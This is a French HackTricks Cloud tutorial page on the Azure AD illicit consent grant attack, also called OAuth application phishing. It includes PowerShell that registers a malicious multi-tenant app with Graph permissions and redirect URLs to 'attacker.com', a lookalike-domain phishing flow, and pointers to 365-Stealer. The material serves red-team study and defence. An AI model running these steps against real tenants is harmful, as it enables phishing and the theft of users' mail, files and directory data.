Français - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Illicit Consent Grant

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Phishing d'Application OAuth

Les Applications Azure demandent des autorisations pour accéder aux données utilisateur (informations de base, mais aussi accès aux documents, envoi d'e-mails...). Si autorisé, un utilisateur normal peut accorder son consentement uniquement pour les autorisations à "Impact Faible". Dans tous les autres cas, le consentement de l'administrateur est requis. GA, ApplicationAdministrator, CloudApplication Administrator et un rôle personnalisé incluant l'autorisation d'accorder des autorisations aux applications peuvent accorder un consentement au niveau du locataire.

Seules les autorisations qui ne nécessitent pas le consentement de l'administrateur sont classées comme impact faible. Il s'agit des autorisations requises pour la connexion de base openid, profile, email, User.Read et offline_access. Si une organisation autorise le consentement de l'utilisateur pour toutes les applications, un employé peut accorder son consentement à une application pour lire les informations ci-dessus à partir de son profil.

Par conséquent, un attaquant pourrait préparer une application malveillante et, avec un phishing, faire accepter l'application par l'utilisateur et voler ses données.

2 Types d'Attaques de Consentement Illicite

  • Non authentifié : À partir d'un compte externe, créez une application avec les autorisations User.Read et User.ReadBasic.All par exemple, faites du phishing sur un utilisateur, et vous pourrez accéder aux informations du répertoire.

  • Cela nécessite que l'utilisateur victime du phishing puisse accepter les applications OAuth provenant d'environnements externes !

  • Authentifié : Ayant compromis un principal avec suffisamment de privilèges, créez une application à l'intérieur du compte et faites du phishing sur un utilisateur privilégié qui peut accepter des autorisations OAuth privilégiées.

  • Dans ce cas, vous pouvez déjà accéder aux informations du répertoire, donc l'autorisation User.ReadBasic.All n'est plus intéressante.

  • Vous êtes probablement intéressé par les autorisations qui nécessitent qu'un administrateur les accorde, car un utilisateur standard ne peut pas accorder d'autorisation aux applications OAuth, c'est pourquoi vous devez phisher uniquement ces utilisateurs (plus d'informations sur les rôles/autorisations accordant ce privilège plus tard)

Vérifier si les utilisateurs sont autorisés à consentir

La commande PowerShell suivante est utilisée pour vérifier la configuration de consentement des utilisateurs dans Azure Active Directory (Azure AD) concernant leur capacité à consentir aux applications :

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Désactiver le consentement utilisateur: Ce paramètre interdit aux utilisateurs d'accorder des autorisations aux applications. Aucun consentement utilisateur pour les applications n'est autorisé.

  • Les utilisateurs peuvent consentir aux applications des éditeurs vérifiés ou de votre organisation, mais uniquement pour les autorisations que vous sélectionnez: Ce paramètre permet à tous les utilisateurs de consentir uniquement aux applications publiées par un éditeur vérifié et aux applications enregistrées dans votre propre locataire. Il ajoute une couche de contrôle en n'autorisant le consentement que pour des autorisations spécifiques.

  • Les utilisateurs peuvent consentir à toutes les applications: Ce paramètre est plus permissif et permet à tous les utilisateurs de consentir à toutes les autorisations pour les applications, tant que ces autorisations ne nécessitent pas de consentement administratif.

  • Politique de consentement d'application personnalisée: Ce paramètre indique qu'une politique personnalisée est en place, pouvant être adaptée aux exigences organisationnelles spécifiques et pouvant impliquer une combinaison de restrictions basées sur l'éditeur de l'application, les autorisations demandées par l'application et d'autres facteurs.

Compréhension de l'attaque de consentement illicite

Dans une attaque de consentement illicite, les attaquants trompent les utilisateurs finaux en leur faisant accorder des autorisations à une application malveillante enregistrée auprès d'Azure. Cela est fait en rendant l'application apparemment légitime, incitant les victimes à cliquer involontairement sur un bouton "Accepter". En conséquence, Azure AD délivre un jeton au site de l'attaquant, leur permettant d'accéder et de manipuler les données de la victime, telles que la lecture ou l'envoi d'e-mails et l'accès à des fichiers, sans avoir besoin d'un compte organisationnel.

Vue d'ensemble du flux de l'attaque

L'attaque implique plusieurs étapes ciblant une entreprise générique. Voici comment elle pourrait se dérouler :

  1. Enregistrement de domaine et hébergement d'application: L'attaquant enregistre un domaine ressemblant à un site de confiance, par exemple, "safedomainlogin.com". Sous ce domaine, un sous-domaine est créé (par exemple, "nomdelasociété.safedomainlogin.com") pour héberger une application conçue pour capturer des codes d'autorisation et demander des jetons d'accès.

  2. Enregistrement de l'application dans Azure AD: L'attaquant enregistre ensuite une application multi-locataire dans son locataire Azure AD, en la nommant d'après l'entreprise cible pour paraître légitime. Ils configurent l'URL de redirection de l'application pour pointer vers le sous-domaine hébergeant l'application malveillante.

  3. Configuration des autorisations: L'attaquant configure l'application avec diverses autorisations d'API (par exemple, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ces autorisations, une fois accordées par l'utilisateur, permettent à l'attaquant d'extraire des informations sensibles au nom de l'utilisateur.

  4. Distribution de liens malveillants: L'attaquant crée un lien contenant l'ID client de l'application malveillante et le partage avec les utilisateurs ciblés, les trompant pour qu'ils donnent leur consentement.

Utilisation d'outils pour l'attaque

L'attaque peut être facilitée en utilisant des outils comme 365-Stealer.

Préparation avant l'attaque :

Si l'attaquant a un certain niveau d'accès à un utilisateur de l'organisation victime, il pourrait vérifier si la politique de l'organisation permet à l'utilisateur d'accepter des applications :

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Pour exécuter l'attaque, l'attaquant devrait créer une nouvelle application dans son locataire Azure (dans les inscriptions d'application), configurée avec les autorisations :

User.ReadBasic.All se trouve dans Microsoft Graph dans les Autorisations déléguées. (Les autorisations d'application nécessiteront toujours une approbation supplémentaire).

  • User.ReadBasic.All est l'autorisation qui vous permettra de lire les informations de tous les utilisateurs de l'organisation si elle est accordée.

  • Rappelez-vous que seuls les rôles GA, ApplicationAdministrator, CloudApplication Administrator et un rôle personnalisé incluant l'autorisation d'accorder des autorisations aux applications peuvent fournir un consentement au niveau du locataire. Ainsi, vous devriez phisher un utilisateur avec l'un de ces rôles si vous voulez qu'il approuve une application nécessitant un consentement administratif.

Vous pourriez également créer une application via la CLI avec :

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Consultez https://www.alteredsecurity.com/post/introduction-to-365-stealer pour apprendre comment le configurer.

Notez que le jeton d'accès obtenu sera pour le point de terminaison graphique avec les étendues : User.Read et User.ReadBasic.All (les autorisations demandées). Vous ne pourrez pas effectuer d'autres actions (mais celles-ci sont suffisantes pour télécharger des informations sur tous les utilisateurs de l'organisation).

O365-Attack-Toolkit

Vous pouvez également utiliser cet outil pour effectuer cette attaque.

Post-Exploitation

Une fois que vous avez accès à l'utilisateur, vous pouvez faire des choses telles que voler des documents sensibles et même télécharger des fichiers de documents piégés.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

PrécédentAz - Unauthenticated Enum & Initial EntrySuivantAz - Device Code Authentication Phishing

Dernière mise à jour